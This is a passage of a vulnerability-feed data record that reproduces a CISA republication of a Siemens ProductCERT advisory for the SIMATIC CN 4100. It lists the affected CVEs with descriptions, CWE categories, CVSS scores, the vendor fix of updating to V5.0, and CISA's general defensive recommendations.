versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-400 Uncontrolled Resource Consumption\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21947\n<div class=\"csaf-accordion-content\">\n\nVulnerability in Oracle Java SE (component: JavaFX). Supported versions that are affected are Oracle Java SE: 8u471-b50. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 3.1 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.1\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-22924\n<div class=\"csaf-accordion-content\">\n\nThe affected application does not properly restrict unauthenticated connections and is susceptible to resource exhaustion conditions. This could allow an attacker to disrupt normal operations or perform unauthorized actions, potentially impacting system availability and integrity.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-306 Missing Authentication for Critical Function\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.1\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-22925\n<div class=\"csaf-accordion-content\">\n\nThe affected application is susceptible to resource exhaustion when subjected to high volume of TCP SYN packets This could allow an attacker to render the service unavailable and cause denial-of-service conditions by overwhelming system resources.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-770 Allocation of Resources Without Limits or Throttling\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28387\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An uncommon configuration of clients performing DANE TLSA-based server authentication, when paired with uncommon server DANE TLSA records, may result in a use-after-free and/or double-free on the client side. Impact summary: A use after free can have a range of potential consequences such as the corruption of valid data, crashes or execution of arbitrary code. However, the issue only affects clients that make use of TLSA records with both the PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate usage. By far the most common deployment of DANE is in SMTP MTAs for which RFC7672 recommends that clients treat as 'unusable' any TLSA records that have the PKIX certificate usages. These SMTP (or other similar) clients are not vulnerable to this issue. Conversely, any clients that support only the PKIX usages, and ignore the DANE-TA(2) usage are also not vulnerable. The client would also need to be communicating with a server that publishes a TLSA RRset with both types of TLSA records. No FIPS modules are affected by this issue, the problem code is outside the FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28388\n<div class=\"csaf-accordion-content\">\n\nIssue summary: When a delta CRL that contains a Delta CRL Indicator extension is processed a NULL pointer dereference might happen if the required CRL Number extension is missing. Impact summary: A NULL pointer dereference can trigger a crash which leads to a Denial of Service for an application. When CRL processing and delta CRL processing is enabled during X.509 certificate verification, the delta CRL processing does not check whether the CRL Number extension is NULL before dereferencing it. When a malformed delta CRL file is being processed, this parameter can be NULL, causing a NULL pointer dereference. Exploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in the verification context, the certificate being verified to contain a freshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and an attacker to provide a malformed CRL to an application that processes it. The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure. For that reason the issue was assessed as Low severity according to our Security Policy. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28389\n<div class=\"csaf-accordion-content\">\n\nIssue summary: During processing of a crafted CMS EnvelopedData message with KeyAgreeRecipientInfo a NULL pointer dereference can happen. Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service. When a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is processed, the optional parameters field of KeyEncryptionAlgorithmIdentifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing. Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28390\n<div class=\"csaf-accordion-content\">\n\nIssue summary: During processing of a crafted CMS EnvelopedData message with KeyTransportRecipientInfo a NULL pointer dereference can happen. Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service. When a CMS EnvelopedData message that uses KeyTransportRecipientInfo with RSA-OAEP encryption is processed, the optional parameters field of RSA-OAEP SourceFunc algorithm identifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing. Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-31789\n<div class=\"csaf-accordion-content\">\n\nIssue summary: Converting an excessively large OCTET STRING value to a hexadecimal string leads to a heap buffer overflow on 32 bit platforms. Impact summary: A heap buffer overflow may lead to a crash or possibly an attacker controlled code execution or other undefined behavior. If an attacker can supply a crafted X.509 certificate with an excessively large OCTET STRING value in extensions such as the Subject Key Identifier (SKID) or Authority Key Identifier (AKID) which are being converted to hex, the size of the buffer needed for the result is calculated as multiplication of the input length by 3. On 32 bit platforms, this multiplication may overflow resulting in the allocation of a smaller buffer and a heap buffer overflow. Applications and services that print or log contents of untrusted X.509 certificates are vulnerable to this issue. As the certificates would have to have sizes of over 1 Gigabyte, printing or logging such certificates is a fairly unlikely operation and only 32 bit platforms are affected, this issue was assigned Low severity. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-31790\n<div class=\"csaf-accordion-content\">\n\nIssue summary: Applications using RSASVE key encapsulation to establish a secret encryption key can send contents of an uninitialized memory buffer to a malicious peer. Impact summary: The uninitialized buffer might contain sensitive data from the previous execution of the application process which leads to sensitive data leakage to an attacker. RSA_public_encrypt() returns the number of bytes written on success and -1 on error. The affected code tests only whether the return value is non-zero. As a result, if RSA encryption fails, encapsulation can still return success to the caller, set the output lengths, and leave the caller to use the contents of the ciphertext buffer as if a valid KEM ciphertext had been produced. If applications use EVP_PKEY_encapsulate() with RSA/RSASVE on an attacker-supplied invalid RSA public key without first validating that key, then this may cause stale or uninitialized contents of the caller-provided ciphertext buffer to be disclosed to the attacker in place of the KEM ciphertext. As a workaround calling EVP_PKEY_public_check() or EVP_PKEY_public_check_quick() before EVP_PKEY_encapsulate() will mitigate the issue. The FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.1 and 3.0 are affected by this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-754 Improper Check for Unusual or Exceptional Conditions\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n</div>\n\n\n\nAcknowledgments\n\n\n\nSiemens ProductCERT reported these vulnerabilities to CISA.\n\n\n\n\nGeneral Recommendations\n\nAs a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity\n\n\n\nAdditional Resources\n\nFor further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories\n\n\n\nTerms of Use\n\nThe use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.\n\n\n\nLegal Notice and Terms of Use\n\nThis product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).\n\n\n\nRecommended Practices\n\nCISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.\n\nMinimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.\n\nLocate control system networks and remote devices behind firewalls and isolate them from business networks.\n\nWhen remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.\n\nCISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nCISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.\n\nCISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.\n\nOrganizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.\n\n\n\nAdvisory Conversion Disclaimer\n\nThis ICSA is a verbatim republication of Siemens ProductCERT SSA-032379 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided \"as-is\" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.\n\nRevision History\n\n\n\nInitial Release Date: 2026-05-12\n\n\n\n\n\nDate\nRevision\nSummary\n\n\n\n\n2026-05-12\n1\nPublication Date\n\n\n2026-05-14\n2\nInitial CISA Republication of Siemens ProductCERT SSA-032379 advisory\n\n\n\n\n\n\nLegal Notice and Terms of Use", "creation_timestamp": "2026-05-14T10:00:00.000000Z"}, {"uuid": "64dfd1b9-11c8-48ed-b9be-f70df4b6b1c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31790", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-134-10", "content": "View CSAF\n\nSummary\n\nSIMATIC CN 4100 contains multiple vulnerabilities which could potentially lead to a compromise in availability, integrity and confidentiality. Siemens has released a new version for SIMATIC CN 4100 and recommends to update to the latest version.\n\nThe following versions of Siemens SIMATIC are affected:\n\n\n\nSIMATIC CN 4100 vers:intdot/<5.0 \n\n<div class=\"csaf-table\">\n\n\n\n\nCVSS\nVendor\nEquipment\nVulnerabilities\n\n\n\n\nv3 9.6\nSiemens\nSiemens SIMATIC\nNULL Pointer Dereference, Reachable Assertion, Use After Free, Out-of-bounds Write, Integer Overflow or Wraparound, Allocation of Resources Without Limits or Throttling, Out-of-bounds Read, Covert Timing Channel, Stack-based Buffer Overflow, Inefficient Algorithmic Complexity, Missing Release of Memory after Effective Lifetime, Improper Restriction of Operations within the Bounds of a Memory Buffer, Improper Input Validation, Improper Locking, Uncontrolled Recursion, Buffer Access with Incorrect Length Value, Race Condition within a Thread, Missing Synchronization, Use of Uninitialized Resource, Double Free, Missing Release of Resource after Effective Lifetime, Loop with Unreachable Exit Condition ('Infinite Loop'), Improper Update of Reference Count, Improper Control of a Resource Through its Lifetime, Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), Unexpected Status Code or Return Value, Divide By Zero, Improper Validation of Specified Index, Position, or Offset in Input, Comparison Using Wrong Factors, Observable Timing Discrepancy, Improper Validation of Syntactic Correctness of Input, Deadlock, Signal Handler Race Condition, Improper Following of Specification by Caller, Improper Check for Dropped Privileges, Transmission of Private Resources into a New Sphere ('Resource Leak'), Improper Resource Shutdown or Release, Improper Access Control, Exposure of Sensitive Information to an Unauthorized Actor, Relative Path Traversal, Improper Neutralization of Escape, Meta, or Control Sequences, Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade'), Uncontrolled Resource Consumption, Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Missing Authentication for Critical Function, Improper Check for Unusual or Exceptional Conditions\n\n\n\n</div>\n\nBackground\n\n\n\nCritical Infrastructure Sectors: Critical Manufacturing\n\nCountries/Areas Deployed: Worldwide\n\nCompany Headquarters Location: Germany\n\n\n\n\nVulnerabilities\n<div class=\"csaf-accordion\">\n\nExpand All +\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-47704\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Check link_res->hpo_dp_link_enc before using it [WHAT & HOW] Functions dp_enable_link_phy and dp_disable_link_phy can pass link_res without initializing hpo_dp_link_enc and it is necessary to check for null before dereferencing. This fixes 2 FORWARD_NULL issues reported by Coverity.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-57924\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: relax assertions on failure to encode file handles Encoding file handles is usually performed by a filesystem >encode_fh() method that may fail for various reasons. The legacy users of exportfs_encode_fh(), namely, nfsd and name_to_handle_at(2) syscall are ready to cope with the possibility of failure to encode a file handle. There are a few other users of exportfs_encode_{fh,fid}() that currently have a WARN_ON() assertion when ->encode_fh() fails. Relax those assertions because they are wrong. The second linked bug report states commit 16aac5ad1fa9 (\"ovl: support encoding non-decodable file handles\") in v6.6 as the regressing commit, but this is not accurate. The aforementioned commit only increases the chances of the assertion and allows triggering the assertion with the reproducer using overlayfs, inotify and drop_caches. Triggering this assertion was always possible with other filesystems and other reasons of ->encode_fh() failures and more particularly, it was also possible with the exact same reproducer using overlayfs that is mounted with options index=on,nfs_export=on also on kernels < v6.6. Therefore, I am not listing the aforementioned commit as a Fixes commit. Backport hint: this patch will have a trivial conflict applying to v6.6.y, and other trivial conflicts applying to stable kernels < v6.6.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-617 Reachable Assertion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-58240\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tls: separate no-async decryption request handling from async If we're not doing async, the handling is much simpler. There's no reference counting, we just need to wait for the completion to wake us up and return its result. We should preferably also use a separate crypto_wait. I'm not seeing a UAF as I did in the past, I think aec7961916f3 (\"tls: fix race between async notify and socket close\") took care of it. This will make the next fix easier.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.3\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-6021\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in libxml2's xmlBuildQName function, where integer overflows in buffer size calculations can lead to a stack-based buffer overflow. This issue can result in memory corruption or a denial of service when processing crafted input.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-6052\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in how GLib\u2019s GString manages memory when adding data to strings. If a string is already very large, combining it with more input can cause a hidden overflow in the size calculation. This makes the system think it has enough memory when it doesn\u2019t. As a result, data may be written past the end of the allocated memory, leading to crashes or memory corruption.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-190 Integer Overflow or Wraparound\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.7\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-7425\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in libxslt where the attribute type, atype, flags are modified in a way that corrupts internal memory management. When XSLT functions, such as the key() process, result in tree fragments, this corruption prevents the proper cleanup of ID attributes. As a result, the system may access freed memory, causing crashes or enabling attackers to trigger heap corruption.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-8916\n<div class=\"csaf-accordion-content\">\n\nAllocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. BC Java bcpkix on All (API modules), Legion of the Bouncy Castle Inc. BC Java bcprov on All (API modules), Legion of the Bouncy Castle Inc. BCPKIX FIPS bcpkix-fips on All (API modules) allows Excessive Allocation. This vulnerability is associated with program files https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertPathReviewer.Java, https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathReviewer.Java. This issue affects BC Java: from 1.44 through 1.78; BC Java: from 1.44 through 1.78; BCPKIX FIPS: from 1.0.0 through 1.0.7, from 2.0.0 through 2.0.7.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-770 Allocation of Resources Without Limits or Throttling\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9230\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of 